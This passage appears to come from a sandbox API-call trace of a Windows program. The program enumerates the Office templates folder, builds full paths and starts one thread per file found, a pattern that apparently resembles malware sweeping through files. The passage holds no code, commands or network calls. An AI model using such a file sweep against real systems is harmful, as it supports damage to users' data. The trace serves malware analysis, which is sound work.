ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0051.307] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0051.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426058) returned 1 [0051.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef3d8) returned 1 [0051.308] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c08) returned 1 Thread: id = 537 os_tid = 0xf54 [0049.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e46a38 [0049.344] wcscpy (in: _Dest=0x5e46a38, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0049.344] wcscat (in: _Dest=0x5e46a38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0049.344] wcscat (in: _Dest=0x5e46a38, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*" [0049.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425920 [0049.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406a0 [0051.477] wcscmp (_String1=".", _String2=".") returned 0 [0051.477] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.845] wcscmp (_String1="..", _String2=".") returned 1 [0051.845] wcscmp (_String1="..", _String2="..") returned 0 [0051.845] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0051.845] wcscmp (_String1="Access", _String2=".") returned 1 [0051.845] wcscmp (_String1="Access", _String2="..") returned 1 [0051.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a1c8 [0051.845] wcscpy (in: _Dest=0x43a1c8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0051.845] wcscat (in: _Dest=0x43a1c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0051.845] wcscat (in: _Dest=0x43a1c8, _Source="Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0065.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43a1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4 [0065.431] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0065.431] wcscmp (_String1="AdjacencyLetter.dotx", _String2=".") returned 1 [0065.431] wcscmp (_String1="AdjacencyLetter.dotx", _String2="..") returned 1 [0065.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cdd20 [0065.431] wcscpy (in: _Dest=0x97cdd20, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.432] wcscat (in: _Dest=0x97cdd20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.432] wcscat (in: _Dest=0x97cdd20, _Source="AdjacencyLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" [0065.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4 [0065.433] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyMergeLetter.dotx", cAlternateFileName="ADJACE~2.DOT")) returned 1 [0065.433] wcscmp (_String1="AdjacencyMergeLetter.dotx", _String2=".") returned 1 [0065.433] wcscmp (_String1="AdjacencyMergeLetter.dotx", _String2="..") returned 1 [0065.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec5d68 [0065.433] wcscpy (in: _Dest=0x5ec5d68, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.433] wcscat (in: _Dest=0x5ec5d68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.433] wcscat (in: _Dest=0x5ec5d68, _Source="AdjacencyMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" [0065.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d8 [0065.434] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="ADJACE~3.DOT")) returned 1 [0065.434] wcscmp (_String1="AdjacencyReport.dotx", _String2=".") returned 1 [0065.434] wcscmp (_String1="AdjacencyReport.dotx", _String2="..") returned 1 [0065.434] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cddb8 [0065.434] wcscpy (in: _Dest=0x97cddb8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.434] wcscat (in: _Dest=0x97cddb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.434] wcscat (in: _Dest=0x97cddb8, _Source="AdjacencyReport.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" [0065.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cddb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc [0065.435] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="ADJACE~4.DOT")) returned 1 [0065.435] wcscmp (_String1="AdjacencyResume.dotx", _String2=".") returned 1 [0065.435] wcscmp (_String1="AdjacencyResume.dotx", _String2="..") returned 1 [0065.435] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cde50 [0065.435] wcscpy (in: _Dest=0x97cde50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.435] wcscat (in: _Dest=0x97cde50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.435] wcscat (in: _Dest=0x97cde50, _Source="AdjacencyResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" [0065.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cde50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0 [0065.436] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0065.436] wcscmp (_String1="ADR1.XLT", _String2=".") returned 1 [0065.436] wcscmp (_String1="ADR1.XLT", _String2="..") returned 1 [0065.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffe98 [0065.437] wcscpy (in: _Dest=0x3ffe98, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.437] wcscat (in: _Dest=0x3ffe98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.437] wcscat (in: _Dest=0x3ffe98, _Source="ADR1.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" [0065.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffe98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0065.438] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0065.438] wcscmp (_String1="ADR10.XLT", _String2=".") returned 1 [0065.438] wcscmp (_String1="ADR10.XLT", _String2="..") returned 1 [0065.438] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3fff98 [0065.438] wcscpy (in: _Dest=0x3fff98, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.438] wcscat (in: _Dest=0x3fff98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.438] wcscat (in: _Dest=0x3fff98, _Source="ADR10.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" [0065.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3fff98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0065.439] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0065.439] wcscmp (_String1="ADR2.XLT", _String2=".") returned 1 [0065.439] wcscmp (_String1="ADR2.XLT", _String2="..") returned 1 [0065.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e18 [0065.439] wcscpy (in: _Dest=0x400e18, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.439] wcscat (in: _Dest=0x400e18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.439] wcscat (in: _Dest=0x400e18, _Source="ADR2.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" [0065.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec [0065.440] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0065.440] wcscmp (_String1="ADR3.XLT", _String2=".") returned 1 [0065.440] wcscmp (_String1="ADR3.XLT", _String2="..") returned 1 [0065.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400018 [0065.440] wcscpy (in: _Dest=0x400018, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.440] wcscat (in: _Dest=0x400018, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.440] wcscat (in: _Dest=0x400018, _Source="ADR3.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" [0065.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f0 [0065.441] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0065.441] wcscmp (_String1="ADR4.XLT", _String2=".") returned 1 [0065.441] wcscmp (_String1="ADR4.XLT", _String2="..") returned 1 [0065.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400098 [0065.441] wcscpy (in: _Dest=0x400098, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.441] wcscat (in: _Dest=0x400098, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.441] wcscat (in: _Dest=0x400098, _Source="ADR4.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" [0065.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4 [0065.442] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0065.442] wcscmp (_String1="ADR5.XLT", _String2=".") returned 1 [0065.442] wcscmp (_String1="ADR5.XLT", _String2="..") returned 1 [0065.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400698 [0065.442] wcscpy (in: _Dest=0x400698, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.442] wcscat (in: _Dest=0x400698, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.442] wcscat (in: _Dest=0x400698, _Source="ADR5.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" [0065.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f8 [0065.443] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0065.443] wcscmp (_String1="ADR6.XLT", _String2=".") returned 1 [0065.443] wcscmp (_String1="ADR6.XLT", _String2="..") returned 1 [0065.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400118 [0065.443] wcscpy (in: _Dest=0x400118, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.443] wcscat (in: _Dest=0x400118, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.443] wcscat (in: _Dest=0x400118, _Source="ADR6.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" [0065.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14fc [0065.445] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0065.445] wcscmp (_String1="ADR7.XLT", _String2=".") returned 1 [0065.445] wcscmp (_String1="ADR7.XLT", _String2="..") returned 1 [0065.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400298 [0065.445] wcscpy (in: _Dest=0x400298, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.445] wcscat (in: _Dest=0x400298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.445] wcscat (in: _Dest=0x400298, _Source="ADR7.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" [0065.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500 [0065.446] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0065.446] wcscmp (_String1="ADR8.XLT", _String2=".") returned 1 [0065.446] wcscmp (_String1="ADR8.XLT", _String2="..") returned 1 [0065.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400198 [0065.446] wcscpy (in: _Dest=0x400198, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.446] wcscat (in: _Dest=0x400198, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.446] wcscat (in: _Dest=0x400198, _Source="ADR8.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" [0065.446] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504 [0065.450] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0065.450] wcscmp (_String1="ADR9.XLT", _String2=".") returned 1 [0065.450] wcscmp (_String1="ADR9.XLT", _String2="..") returned 1 [0065.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08618 [0065.450] wcscpy (in: _Dest=0x12e08618, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0065.451] wcscat (in: _Dest=0x12e08618, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0065.451] wcscat (in: _Dest=0x12e08618, _Source="ADR9.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT") returned="C:\\Program Files\\Microsoft 